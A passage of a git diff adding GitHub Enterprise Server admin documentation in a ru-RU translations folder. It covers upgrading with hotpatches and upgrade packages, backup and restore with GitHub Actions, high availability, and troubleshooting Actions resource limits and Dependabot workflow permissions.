/enterprise/admin/guides/installation/upgrading-the-github-enterprise-virtual-machine + - /enterprise/admin/guides/installation/upgrade-packages-for-older-releases + - /enterprise/admin/articles/upgrading-older-installations + - /enterprise/admin/hidden/upgrading-older-installations + - /enterprise/admin/hidden/upgrading-github-enterprise-using-a-hotpatch-early-access-program + - /enterprise/admin/hidden/upgrading-github-enterprise-using-a-hotpatch + - /enterprise/admin/guides/installation/upgrading-github-enterprise + - /enterprise/admin/enterprise-management/upgrading-github-enterprise-server + - /admin/enterprise-management/upgrading-github-enterprise-server +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Upgrades +shortTitle: Upgrading GHES +--- + + +## Preparing to upgrade + +1. Determine an upgrade strategy and choose a version to upgrade to. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. +1. Create a fresh backup of your primary instance with the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see the [README.md file](https://github.com/github/backup-utils#readme) in the {% data variables.product.prodname_enterprise_backup_utilities %} project documentation. + + {% note %} + + **Note:** Your {% data variables.product.prodname_enterprise_backup_utilities %} version needs to be the same version as, or at most two versions ahead of, {% data variables.location.product_location %}. For more information, see "[Upgrading GitHub Enterprise Server Backup Utilities](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance#upgrading-github-enterprise-server-backup-utilities)." + + {% endnote %} + +1. If {% data variables.location.product_location %} uses ephemeral self-hosted runners for {% data variables.product.prodname_actions %} and you've disabled automatic updates, upgrade your runners to the version of the runner application that your upgraded instance will run. +1. If you are upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. If you are using a hotpatch, maintenance mode is not required. + + {% note %} + + **Note:** The maintenance window depends on the type of upgrade you perform. Upgrades using a hotpatch usually don't require a maintenance window. Sometimes a reboot is required, which you can perform at a later time. Following the versioning scheme of MAJOR.FEATURE.PATCH, patch releases using an upgrade package typically require less than five minutes of downtime. Feature releases that include data migrations take longer depending on storage performance and the amount of data that's migrated. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." + + {% endnote %} + +## Taking a snapshot + +A snapshot is a checkpoint of a virtual machine (VM) at a point in time. We highly recommend taking a snapshot before upgrading your virtual machine so that if an upgrade fails, you can revert your VM back to the snapshot. We only recommend taking a VM snapshot when the appliance is powered down or in maintenance mode and all background jobs have finished. + +If you're upgrading to a new feature release, you must take a VM snapshot. If you're upgrading to a patch release, you can attach the existing data disk. + +There are two types of snapshots: + +- **VM snapshots** save your entire VM state, including user data and configuration data. This snapshot method requires a large amount of disk space and is time consuming. +- **Data disk snapshots** only save your user data. + + {% note %} + + **Notes:** + - Some platforms don't allow you to take a snapshot of just your data disk. For these platforms, you'll need to take a snapshot of the entire VM. + - If your hypervisor does not support full VM snapshots, you should take a snapshot of the root disk and data disk in quick succession. + + {% endnote %} + +| Platform | Snapshot method | Snapshot documentation URL | +|---|---|---| +| Amazon AWS | Disk | +| Azure | VM | +| Hyper-V | VM | +| Google Compute Engine | Disk | +| VMware | VM | + +## Upgrading with a hotpatch + +{% data reusables.enterprise_installation.hotpatching-explanation %} + +Using the {% data variables.enterprise.management_console %}, you can install a hotpatch immediately or schedule it for later installation. You can use the administrative shell to install a hotpatch with the `ghe-upgrade` utility. For more information, see "[Upgrade requirements](/enterprise/admin/guides/installation/upgrade-requirements/)." + +{% note %} + +**{% ifversion ghes %}Notes{% else %}Note{% endif %}**: + +{% ifversion ghes %} +- If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. + +- {% endif %}Installing a hotpatch using the {% data variables.enterprise.management_console %} is not available in clustered environments. To install a hotpatch in a clustered environment, see "[Upgrading a cluster](/enterprise/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)." + +{% endnote %} + +### Upgrading a single appliance with a hotpatch + +#### Installing a hotpatch using the {% data variables.enterprise.management_console %} + +You can use the {% data variables.enterprise.management_console %} to upgrade with a hotpatch by enabling automatic updates. You will then be presented with the latest available version of {% data variables.product.prodname_ghe_server %} that you can upgrade to. + +If the upgrade target you're presented with is a feature release instead of a patch release, you cannot use the {% data variables.enterprise.management_console %} to install a hotpatch. You must install the hotpatch using the administrative shell instead. For more information, see "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." + +1. Enable automatic updates. For more information, see "[Enabling automatic updates](/enterprise/admin/guides/installation/enabling-automatic-update-checks/)." +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.updates-tab %} +4. When a new hotpatch has been downloaded, use the Install package drop-down menu: + - To install immediately, select **Now**: + - To install later, select a later date. + ![Hotpatch installation date dropdown](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png) +5. Click **Install**. + ![Hotpatch install button](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png) + +#### Installing a hotpatch using the administrative shell + +{% data reusables.enterprise_installation.download-note %} + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copy the URL for the upgrade hotpackage (*.hpkg* file). +{% data reusables.enterprise_installation.download-package %} +4. Run the `ghe-upgrade` command using the package file name: + ```shell + admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.hpkg + *** verifying upgrade package signature... + ``` +5. If a reboot is required for updates for kernel, MySQL, Elasticsearch or other programs, the hotpatch upgrade script notifies you. + +### Upgrading an appliance that has replica instances using a hotpatch + +{% note %} + +**Note**: If you are installing a hotpatch, you do not need to enter maintenance mode or stop replication. + +{% endnote %} + +Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time. + +#### Upgrading the primary instance + +1. Upgrade the primary instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." + +#### Upgrading a replica instance + +{% note %} + +**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time. + +{% endnote %} + +1. Upgrade the replica instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time. +{% data reusables.enterprise_installation.replica-ssh %} +{% data reusables.enterprise_installation.replica-verify %} + +## Upgrading with an upgrade package + +While you can use a hotpatch to upgrade to the latest patch release within a feature series, you must use an upgrade package to upgrade to a newer feature release. For example to upgrade from `2.11.10` to `2.12.4` you must use an upgrade package since these are in different feature series. For more information, see "[Upgrade requirements](/enterprise/admin/guides/installation/upgrade-requirements/)." + +### Upgrading a single appliance with an upgrade package + +{% data reusables.enterprise_installation.download-note %} + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Select the appropriate platform and copy the URL for the upgrade package (*.pkg* file). +{% data reusables.enterprise_installation.download-package %} +4. Enable maintenance mode and wait for all active processes to complete on the {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." + + {% note %} + + **Note**: When upgrading the primary appliance in a High Availability configuration, the appliance should already be in maintenance mode if you are following the instructions in "[Upgrading the primary instance](#upgrading-the-primary-instance)." + + {% endnote %} + +5. Run the `ghe-upgrade` command using the package file name: + ```shell + admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.pkg + *** verifying upgrade package signature... + ``` +6. Confirm that you'd like to continue with the upgrade and restart after the package signature verifies. The new root filesystem writes to the secondary partition and the instance automatically restarts in maintenance mode: + ```shell + *** applying update... + This package will upgrade your installation to version VERSION-NUMBER + Current root partition: /dev/xvda1 [VERSION-NUMBER] + Target root partition: /dev/xvda2 + Proceed with installation? [y/N] + ``` +{% ifversion ip-exception-list %} +1. Optionally, to validate the upgrade, configure an IP exception list to allow access to a specified list of IP addresses. For more information, see "[Validating changes in maintenance mode using the IP exception list](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list)." +{% endif %} +7. For single appliance upgrades, disable maintenance mode so users can use {% data variables.location.product_location %}. + + {% note %} + + **Note**: When upgrading appliances in a High Availability configuration you should remain in maintenance mode until you have upgraded all of the replicas and replication is current. For more information, see "[Upgrading a replica instance](#upgrading-a-replica-instance)." + + {% endnote %} + +### Upgrading an appliance that has replica instances using an upgrade package + +Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time. + +#### Upgrading the primary instance + +{% warning %} + +**Warning:** When replication is stopped, if the primary fails, any work that is done before the replica is upgraded and the replication begins again will be lost. + +{% endwarning %} + +1. On the primary instance, enable maintenance mode and wait for all active processes to complete. For more information, see "[Enabling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)." +{% data reusables.enterprise_installation.replica-ssh %} +3. On the replica instance, or on all replica instances if you're running multiple replica instances as part of geo-replication, run `ghe-repl-stop` to stop replication. +4. Upgrade the primary instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." + +#### Upgrading a replica instance + +{% note %} + +**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time. + +{% endnote %} + +1. Upgrade the replica instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time. +{% data reusables.enterprise_installation.replica-ssh %} +{% data reusables.enterprise_installation.replica-verify %} + +{% data reusables.enterprise_installation.start-replication %} + +{% data reusables.enterprise_installation.replication-status %} If the command returns `Replication is not running`, the replication may still be starting. Wait about one minute before running `ghe-repl-status` again. + + {% note %} + + **Note:** While the resync is in progress `ghe-repl-status` may indicate that replication is behind. For example, you may see the following message. + + ``` + CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists + ``` + {% endnote %} + + {%- ifversion ghes = 3.4 or ghes = 3.5 or ghes = 3.6 %} + + - If you have upgraded each node to {% data variables.product.product_name %} 3.6.0 or later and started replication, but `git replication is behind the primary` continues to appear after 45 minutes, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." + {%- endif %} + - {% ifversion ghes = 3.4 or ghes = 3.5 or ghes = 3.6 %}Otherwise, if{% else %}If{% endif %} `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." +6. When you have completed upgrading the last replica, and the resync is complete, disable maintenance mode so users can use {% data variables.location.product_location %}. + +## Restoring from a failed upgrade + +If an upgrade fails or is interrupted, you should revert your instance back to its previous state. The process for completing this depends on the type of upgrade. + +### Rolling back a patch release + +To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. Before rolling back, replication must be temporarily stopped by running `ghe-repl-stop` on all replica instances. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %} + +Once the rollback is complete, restart replication by running `ghe-repl-start` on all replicas. + +For more information, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities/#ghe-upgrade)." + +### Rolling back a feature release + +To roll back from a feature release, restore from a VM snapshot to ensure that root and data partitions are in a consistent state. For more information, see "[Taking a snapshot](#taking-a-snapshot)." + +{% ifversion ghes %} +## Further reading + +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" +{% endif %} diff --git a/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md b/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md new file mode 100644 index 000000000000..bb63cf03cc4b --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md @@ -0,0 +1,44 @@ +--- +title: Backing up and restoring GitHub Enterprise Server with GitHub Actions enabled +shortTitle: Backing up and restoring +intro: 'To restore a backup of {% data variables.location.product_location %} when {% data variables.product.prodname_actions %} is enabled, you must configure {% data variables.product.prodname_actions %} before restoring the backup with {% data variables.product.prodname_enterprise_backup_utilities %}.' +versions: + ghes: '*' +type: how_to +topics: + - Actions + - Backups + - Enterprise + - Infrastructure +redirect_from: + - /admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled +--- + +## About backups of {% data variables.product.product_name %} when using {% data variables.product.prodname_actions %} + +You can use {% data variables.product.prodname_enterprise_backup_utilities %} to back up and restore the data and configuration for {% data variables.location.product_location %} to a new instance. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-backups-on-your-appliance)." + +However, not all the data for {% data variables.product.prodname_actions %} is included in these backups. {% data reusables.actions.enterprise-storage-ha-backups %} + +## Restoring a backup of {% data variables.product.product_name %} when {% data variables.product.prodname_actions %} is enabled + +To restore a backup of {% data variables.location.product_location %} with {% data variables.product.prodname_actions %}, you must manually configure network settings and external storage on the destination instance before you restore your backup from {% data variables.product.prodname_enterprise_backup_utilities %}. + +1. Confirm that the source instance is offline. +1. Manually configure network settings on the replacement {% data variables.product.prodname_ghe_server %} instance. Network settings are excluded from the backup snapshot, and are not overwritten by `ghe-restore`. For more information, see "[Configuring network settings](/admin/configuration/configuring-network-settings)." +1. SSH into the destination instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." + + ```shell{:copy} + $ ssh -p 122 admin@HOSTNAME + ``` +1. Configure the destination instance to use the same external storage service for {% data variables.product.prodname_actions %} as the source instance by entering one of the following commands. +{% indented_data_reference reusables.actions.configure-storage-provider-platform-commands spaces=3 %} +{% data reusables.actions.configure-storage-provider %} +1. To prepare to enable {% data variables.product.prodname_actions %} on the destination instance, enter the following command. + + ```shell{:copy} + ghe-config app.actions.enabled true + ``` +{% data reusables.actions.apply-configuration-and-enable %} +1. After {% data variables.product.prodname_actions %} is configured and enabled, to restore the rest of the data from the backup, use the `ghe-restore` command. For more information, see "[Restoring a backup](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)." +1. Re-register your self-hosted runners on the destination instance. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." diff --git a/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/high-availability-for-github-actions.md b/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/high-availability-for-github-actions.md new file mode 100644 index 000000000000..a885dcc189d8 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/high-availability-for-github-actions.md @@ -0,0 +1,44 @@ +--- +title: Высокий уровень доступности для GitHub Actions +intro: 'Доступны специальные рекомендации по администрированию {% data variables.product.prodname_actions %} в конфигурации с высоким уровнем доступности.' +versions: + ghes: '*' +type: reference +topics: + - Actions + - Enterprise + - High availability + - Infrastructure + - Storage +redirect_from: + - /admin/github-actions/high-availability-for-github-actions +shortTitle: HA for GitHub Actions +ms.openlocfilehash: c8b71ddb651baa0757100c356ce3f9edb0e1edee +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112704' +--- +## Репликация или избыточность данных {% data variables.product.prodname_actions %} + +{% data reusables.actions.enterprise-storage-ha-backups %} + +Настоятельно рекомендуется настроить внешнее хранилище {% data variables.product.prodname_actions %} для использования избыточности или репликации данных. Дополнительные сведения см. в документации поставщика хранилища: + +* [Документация по избыточности службы хранилища Azure](https://docs.microsoft.com/en-us/azure/storage/common/storage-redundancy) +* [Документация по репликации Amazon S3](https://docs.aws.amazon.com/AmazonS3/latest/dev/replication.html) + +## Реплики высокого уровня доступности + +### Продвижение реплики + +При включении конфигурации высокого уровня доступности все реплики автоматически настраиваются на использования конфигурации внешнего хранилища {% data variables.product.prodname_actions %}. Если необходимо инициировать отработку отказа для повышения уровня реплики, для {% data variables.product.prodname_actions %} не требуются дополнительные изменения конфигурации. + +Дополнительные сведения см. в разделе [Инициирование отработки отказа на устройстве реплики](/admin/enterprise-management/initiating-a-failover-to-your-replica-appliance). + +### Удаление реплики с высоким уровнем доступности + +Воздерживайтесь от разрешения нескольким экземплярам совершать записи в одно и то же внешнее хранилище {% data variables.product.prodname_actions %}. Это может произойти при использовании команды `ghe-repl-teardown` для остановки и окончательного удаления реплики, включенной {% data variables.product.prodname_actions %}. Это связано с тем, что реплика будет преобразована в автономный {% data variables.product.prodname_ghe_server %}, а после удаления она будет по-прежнему использовать ту же конфигурацию внешнего хранилища, что и основной. + +Чтобы устранить эту проблему, рекомендуется либо отказаться от сервера-реплики, либо обновить его конфигурацию {% data variables.product.prodname_actions %} с другим внешним хранилищем. diff --git a/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md b/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md new file mode 100644 index 000000000000..fcc37882757c --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md @@ -0,0 +1,21 @@ +--- +title: Расширенная настройка и устранение неполадок +intro: 'Настройте высокий уровень доступности для {% data variables.product.prodname_actions %}, а также устраните неполадки с {% data variables.product.prodname_actions %} в {% data variables.product.prodname_ghe_server %}.' +versions: + ghes: '*' +topics: + - Enterprise +children: + - /high-availability-for-github-actions + - /backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled + - /using-a-staging-environment + - /troubleshooting-github-actions-for-your-enterprise +shortTitle: HA & troubleshooting +ms.openlocfilehash: ad7da43fc544a81c2e77140725726d0f4e86f04f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145120459' +--- + diff --git a/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md b/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md new file mode 100644 index 000000000000..71088f9285e3 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md @@ -0,0 +1,227 @@ +--- +title: Troubleshooting GitHub Actions for your enterprise +intro: 'Troubleshooting common issues that occur when using {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}.' +permissions: 'Site administrators can troubleshoot {% data variables.product.prodname_actions %} issues and modify {% data variables.product.prodname_ghe_server %} configurations.' +versions: + ghes: '*' +type: how_to +topics: + - Actions + - Enterprise + - Troubleshooting +redirect_from: + - /admin/github-actions/troubleshooting-github-actions-for-your-enterprise +shortTitle: Troubleshoot GitHub Actions +--- + +## Checking the health of {% data variables.product.prodname_actions %} + +You can check the health of {% data variables.product.prodname_actions %} on {% data variables.location.product_location %} with the `ghe-actions-check` command-line utility. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-actions-check)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)." + +## Configuring self-hosted runners when using a self-signed certificate for {% data variables.product.prodname_ghe_server %} + +{% data reusables.actions.enterprise-self-signed-cert %} For more information, see "[Configuring TLS](/admin/configuration/configuring-tls)." + +### Installing the certificate on the runner machine + +For a self-hosted runner to connect to a {% data variables.product.prodname_ghe_server %} using a self-signed certificate, you must install the certificate on the runner machine so that the connection is security hardened. + +For the steps required to install a certificate, refer to the documentation for your runner's operating system. + +### Configuring Node.JS to use the certificate + +Most actions are written in JavaScript and run using Node.js, which does not use the operating system certificate store. For the self-hosted runner application to use the certificate, you must set the `NODE_EXTRA_CA_CERTS` environment variable on the runner machine. + +You can set the environment variable as a system environment variable, or declare it in a file named _.env_ in the self-hosted runner application directory. + +For example: + +```shell +NODE_EXTRA_CA_CERTS=/usr/share/ca-certificates/extra/mycertfile.crt +``` + +Environment variables are read when the self-hosted runner application starts, so you must set the environment variable before configuring or starting the self-hosted runner application. If your certificate configuration changes, you must restart the self-hosted runner application. + +### Configuring Docker containers to use the certificate + +If you use Docker container actions or service containers in your workflows, you might also need to install the certificate in your Docker image in addition to setting the above environment variable. + +## Configuring HTTP proxy settings for {% data variables.product.prodname_actions %} + +{% data reusables.actions.enterprise-http-proxy %} + +If these settings aren't correctly configured, you might receive errors like `Resource unexpectedly moved to https://` when setting or changing your {% data variables.product.prodname_actions %} configuration. + +## Runners not connecting to {% data variables.product.prodname_ghe_server %} with a new hostname + +{% data reusables.enterprise_installation.changing-hostname-not-supported %} + +If you deploy {% data variables.product.prodname_ghe_server %} in your environment with a new hostname and the old hostname no longer resolves to your instance, self-hosted runners will be unable to connect to the old hostname, and will not execute any jobs. + +You will need to update the configuration of your self-hosted runners to use the new hostname for {% data variables.location.product_location %}. Each self-hosted runner will require one of the following procedures: + +* In the self-hosted runner application directory, edit the `.runner` and `.credentials` files to replace all mentions of the old hostname with the new hostname, then restart the self-hosted runner application. +* Remove the runner from {% data variables.product.prodname_ghe_server %} using the UI, and re-add it. For more information, see "[Removing self-hosted runners](/actions/hosting-your-own-runners/removing-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +## Stuck jobs and {% data variables.product.prodname_actions %} memory and CPU limits + +{% data variables.product.prodname_actions %} is composed of multiple services running on {% data variables.location.product_location %}. By default, these services are set up with default CPU and memory limits that should work for most instances. However, heavy users of {% data variables.product.prodname_actions %} might need to adjust these settings. + +You may be hitting the CPU or memory limits if you notice that jobs are not starting (even though there are idle runners), or if the job's progress is not updating or changing in the UI. + +### 1. Check the overall CPU and memory usage in the management console + +Access the management console and use the monitor dashboard to inspect the overall CPU and memory graphs under "System Health". For more information, see "[Accessing the monitor dashboard](/admin/enterprise-management/accessing-the-monitor-dashboard)." + +If the overall "System Health" CPU usage is close to 100%, or there is no free memory left, then {% data variables.location.product_location %} is running at capacity and needs to be scaled up. For more information, see "[Increasing CPU or memory resources](/admin/enterprise-management/increasing-cpu-or-memory-resources)." + +### 2. Check the Nomad Jobs CPU and memory usage in the management console + +If the overall "System Health" CPU and memory usage is OK, scroll down the monitor dashboard page to the "Nomad Jobs" section, and look at the "CPU Percent Value" and "Memory Usage" graphs. + +Each plot in these graphs corresponds to one service. For {% data variables.product.prodname_actions %} services, look for: + +* `mps_frontend` +* `mps_backend` +* `token_frontend` +* `token_backend` +* `actions_frontend` +* `actions_backend` + +If any of these services are at or near 100% CPU utilization, or the memory is near their limit (2 GB by default), then the resource allocation for these services might need increasing. Take note of which of the above services are at or near their limit. + +### 3. Increase the resource allocation for services at their limit + +1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." +1. Run the following command to see what resources are available for allocation: + + ```shell + nomad node status -self + ``` + + In the output, find the "Allocated Resources" section. It looks similar to the following example: + + ``` + Allocated Resources + CPU Memory Disk + 7740/49600 MHZ 23 GiB/32 GiB 4.4 GiB/7.9 GiB + ``` + + For CPU and memory, this shows how much is allocated to the **total** of **all** services (the left value) and how much is available (the right value). In the example above, there is 23 GiB of memory allocated out of 32 GiB total. This means there is 9 GiB of memory available for allocation. + + {% warning %} + + **Warning:** Be careful not to allocate more than the total available resources, or services will fail to start. + + {% endwarning %} +1. Change directory to `/etc/consul-templates/etc/nomad-jobs/actions`: + + ```shell + cd /etc/consul-templates/etc/nomad-jobs/actions + ``` + + In this directory there are three files that correspond to the {% data variables.product.prodname_actions %} services from above: + + * `mps.hcl.ctmpl` + * `token.hcl.ctmpl` + * `actions.hcl.ctmpl` +1. For the services that you identified that need adjustment, open the corresponding file and locate the `resources` group that looks like the following: + + ``` + resources { + cpu = 512 + memory = 2048 + network { + port "http" { } + } + } + ``` + + The values are in MHz for CPU resources, and MB for memory resources. + + For example, to increase the resource limits in the above example to 1 GHz for the CPU and 4 GB of memory, change it to: + + ``` + resources { + cpu = 1024 + memory = 4096 + network { + port "http" { } + } + } + ``` +1. Save and exit the file. +1. Run `ghe-config-apply` to apply the changes. + + When running `ghe-config-apply`, if you see output like `Failed to run nomad job '/etc/nomad-jobs/.hcl'`, then the change has likely over-allocated CPU or memory resources. If this happens, edit the configuration files again and lower the allocated CPU or memory, then re-run `ghe-config-apply`. +1. After the configuration is applied, run `ghe-actions-check` to verify that the {% data variables.product.prodname_actions %} services are operational. + +{% ifversion fpt or ghec or ghes %} +## Troubleshooting failures when {% data variables.product.prodname_dependabot %} triggers existing workflows + +{% data reusables.dependabot.beta-security-and-version-updates %} + +After you set up {% data variables.product.prodname_dependabot %} updates for {% data variables.location.product_location %}, you may see failures when existing workflows are triggered by {% data variables.product.prodname_dependabot %} events. + +By default, {% data variables.product.prodname_actions %} workflow runs that are triggered by {% data variables.product.prodname_dependabot %} from `push`, `pull_request`, `pull_request_review`, or `pull_request_review_comment` events are treated as if they were opened from a repository fork. Unlike workflows triggered by other actors, this means they receive a read-only `GITHUB_TOKEN` and do not have access to any secrets that are normally available. This will cause any workflows that attempt to write to the repository to fail when they are triggered by {% data variables.product.prodname_dependabot %}. + +There are three ways to resolve this problem: + +1. You can update your workflows so that they are no longer triggered by {% data variables.product.prodname_dependabot %} using an expression like: `if: github.actor != 'dependabot[bot]'`. For more information, see "[Expressions](/actions/learn-github-actions/expressions)." +2. You can modify your workflows to use a two-step process that includes `pull_request_target` which does not have these limitations. For more information, see "[Automating {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions#responding-to-events)." +3. You can provide workflows triggered by {% data variables.product.prodname_dependabot %} access to secrets and allow the `permissions` term to increase the default scope of the `GITHUB_TOKEN`. For more information, see "[Providing workflows triggered by{% data variables.product.prodname_dependabot %} access to secrets and increased permissions](#providing-workflows-triggered-by-dependabot-access-to-secrets-and-increased-permissions)" below. + +### Providing workflows triggered by {% data variables.product.prodname_dependabot %} access to secrets and increased permissions + +1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." +1. To remove the limitations on workflows triggered by {% data variables.product.prodname_dependabot %} on {% data variables.location.product_location %}, use the following command. + ``` shell + $ ghe-config app.actions.disable-dependabot-enforcement true + ``` +1. Apply the configuration. + ```shell + $ ghe-config-apply + ``` +1. Return to {% data variables.product.prodname_ghe_server %}. + +{% endif %} + +{% ifversion ghes > 3.3 %} + + + +## Troubleshooting bundled actions in {% data variables.product.prodname_actions %} + +If you receive the following error when installing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_ghe_server %}, you can resolve the problem by installing the official bundled actions and starter workflows. + +```shell +A part of the Actions setup had problems and needs an administrator to resolve. +``` + +To install the official bundled actions and starter workflows within a designated organization in {% data variables.product.prodname_ghe_server %}, follow this procedure. + +1. Identify an organization that will store the official bundled actions and starter worflows. You can create a new organization or reuse an existing one. + - To create a new organization, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." + - For assistance with choosing a name for this organization, see "[Reserved Names](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#reserved-names)." + +1. Log in to the administrative shell using SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." +1. To designate your organization as the location to store the bundled actions, use the `ghe-config` command, replacing `ORGANIZATION` with the name of your organization. + ```shell + $ ghe-config app.actions.actions-org ORGANIZATION + ``` + and: + ```shell + $ ghe-config app.actions.github-org ORGANIZATION + ``` +1. To add the bundled actions to your organization, unset the SHA. + ```shell + $ ghe-config --unset 'app.actions.actions-repos-sha1sum' + ``` +1. Apply the configuration. + ```shell + $ ghe-config-apply + ``` + +After you've completed these steps, you can resume configuring {% data variables.product.prodname_actions %} at "[Managing access permissions for GitHub Actions in your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#managing-access-permissions-for-github-actions-in-your-enterprise)." + +{% endif %} diff --git a/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md b/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md new file mode 100644 index 000000000000..c9f9e75ca4cc --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md @@ -0,0 +1,52 @@ +--- +title: Using a staging environment +intro: 'Learn about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %} staging instances.' +versions: + ghes: '*' +type: how_to +topics: + - Actions + - Enterprise + - Infrastructure + - Upgrades +redirect_from: + - /admin/github-actions/using-a-staging-environment +shortTitle: Use staging environment +--- + +## About staging environments for {% data variables.product.product_name %} + +It can be useful to have a staging or testing environment for {% data variables.location.product_location %}, so that you can test updates or new features before implementing them in your production environment. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)." + +## Using a 